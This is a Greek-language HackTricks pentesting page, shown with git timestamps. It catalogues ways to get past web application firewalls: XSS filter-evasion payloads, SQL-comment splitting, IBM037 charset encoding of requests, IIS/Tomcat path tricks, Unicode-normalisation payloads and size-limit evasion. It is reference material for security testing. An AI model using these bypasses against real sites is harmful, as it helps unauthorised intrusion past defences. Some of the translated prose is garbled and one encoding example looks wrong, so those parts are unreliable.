hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md

117 lines
11 KiB
Markdown
Raw Normal View History

2024-02-10 22:40:18 +00:00
# Διάβασε το βιβλίο για τεχνικές χάκερ
2022-06-22 22:03:55 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-06-22 22:03:55 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2023-12-31 01:24:39 +00:00
2024-02-10 22:40:18 +00:00
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-06-22 22:03:55 +00:00
</details>
2024-02-10 22:40:18 +00:00
## Παράκαμψη Regex
2024-02-10 22:40:18 +00:00
Διάφορες τεχνικές μπορούν να χρησιμοποιηθούν για την παράκαμψη των φίλτρων regex στους προστατευτικούς τείχους πυρασφάλειας. Παραδείγματα περιλαμβάνουν την εναλλαγή πεζών-κεφαλαίων, την προσθήκη αλλαγών γραμμής και την κωδικοποίηση των φορτίων. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) και στο [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Τα παρακάτω παραδείγματα προέρχονται από [αυτό το άρθρο](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
2022-06-22 22:03:55 +00:00
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
2024-02-10 22:40:18 +00:00
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
2024-02-10 22:40:18 +00:00
## Κωδικοποίηση χαρακτήρων
Η κωδικοποίηση χαρακτήρων αναφέρεται στη μετατροπή των χαρακτήρων από τη μορφή τους σε μια μορφή που μπορεί να αναγνωστεί από τον υπολογιστή. Οι διάφορες κωδικοποιήσεις χαρακτήρων χρησιμοποιούνται για να αναπαραστήσουν διάφορες γλώσσες και συμβολοσειρές.
Κατά την εκτέλεση επιθέσεων σε ιστοσελίδες, μπορεί να υπάρχει η ανάγκη να παρακάμψουμε την κωδικοποίηση χαρακτήρων που χρησιμοποιείται από τον Web Application Firewall (WAF). Αυτό μπορεί να επιτευχθεί με τη χρήση ειδικών χαρακτήρων ή μετατροπής της κωδικοποίησης χαρακτήρων.
Οι παρακάτω τεχνικές μπορούν να χρησιμοποιηθούν για την παράκαμψη της κωδικοποίησης χαρακτήρων:
2022-06-22 22:03:55 +00:00
2024-02-10 22:40:18 +00:00
- **Διπλή κωδικοποίηση**: Μετατροπή των ειδικών χαρακτήρων σε διπλή κωδικοποίηση, ώστε να παρακαμφθεί η ανίχνευση του WAF.
- **Αντικατάσταση χαρακτήρων**: Αντικατάσταση ειδικών χαρακτήρων με παρόμοιους χαρακτήρες που δεν ανιχνεύονται από το WAF.
- **Μετατροπή κωδικοποίησης**: Μετατροπή της κωδικοποίησης χαρακτήρων σε μια διαφορετική μορφή που δεν ανιχνεύεται από το WAF.
2024-02-10 22:40:18 +00:00
Αυτές οι τεχνικές μπορούν να βοηθήσουν στην αποφυγή της ανίχνευσης από το WAF και να επιτρέψουν την εκτέλεση επιθέσεων σε ευάλωτες ιστοσελίδες.
```bash
2022-06-22 22:03:55 +00:00
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
2024-02-10 22:40:18 +00:00
print(urllib.parse.quote_plus(s.encode("IBM037")))
2022-06-22 22:03:55 +00:00
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
2024-02-10 22:40:18 +00:00
## Απόκρυψη
2022-06-22 22:03:55 +00:00
2024-02-10 22:40:18 +00:00
Η απόκρυψη είναι μια τεχνική που χρησιμοποιείται για να αποφευχθεί η ανίχνευση ενός επιθέτου από έναν Web Application Firewall (WAF). Με τη χρήση αυτής της τεχνικής, ο κώδικας του επιθέτου τροποποιείται έτσι ώστε να μην αναγνωρίζεται από το WAF.
2024-02-10 22:40:18 +00:00
Οι τεχνικές απόκρυψης μπορούν να περιλαμβάνουν την αντικατάσταση ή την προσθήκη χαρακτήρων στον κώδικα του επιθέτου, την αναδιάταξη των εντολών ή τη χρήση μη αναγνωρίσιμων μεθόδων κρυπτογράφησης. Αυτό μπορεί να καταστήσει τον κώδικα του επιθέτου αδυνατό να αναγνωριστεί από το WAF και να περάσει απαρατήρητος.
Είναι σημαντικό να σημειωθεί ότι η απόκρυψη δεν είναι μια απόλυτη λύση και μπορεί να ανακαλυφθεί από προηγμένες τεχνικές ανίχνευσης. Ωστόσο, η χρήση απόκρυψης μπορεί να αυξήσει τις πιθανότητες επιτυχίας μιας επίθεσης και να δυσκολέψει την ανίχνευση του επιθέτου από το WAF.
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
2024-02-10 22:40:18 +00:00
## Συμβατότητα Unicode
2024-02-10 22:40:18 +00:00
Ανάλογα με την υλοποίηση της κανονικοποίησης Unicode (περισσότερες πληροφορίες [εδώ](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), χαρακτήρες που μοιράζονται συμβατότητα Unicode μπορεί να παρακάμψουν το WAF και να εκτελεστούν ως το επιθυμητό φορτίο. Συμβατοί χαρακτήρες μπορούν να βρεθούν [εδώ](https://www.compart.com/en/unicode)
2024-02-10 22:40:18 +00:00
### Παράδειγμα
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
2024-02-10 22:40:18 +00:00
## Υπέρβαση Ορίων Μεγέθους
2024-02-10 22:40:18 +00:00
Συνήθως σε WAFs που βασίζονται στο cloud, αν η φορτίο είναι μεγαλύτερο από το μέγεθος X, το αίτημα δεν θα ελεγχθεί από το WAF. Μπορείτε απλά να το χρησιμοποιήσετε για να το παρακάμψετε.
2022-06-22 22:03:55 +00:00
2024-02-10 22:40:18 +00:00
### Περιστροφή IP
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
2022-06-22 22:03:55 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-06-22 22:03:55 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2023-12-31 01:24:39 +00:00
2024-02-10 22:40:18 +00:00
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-06-22 22:03:55 +00:00
</details>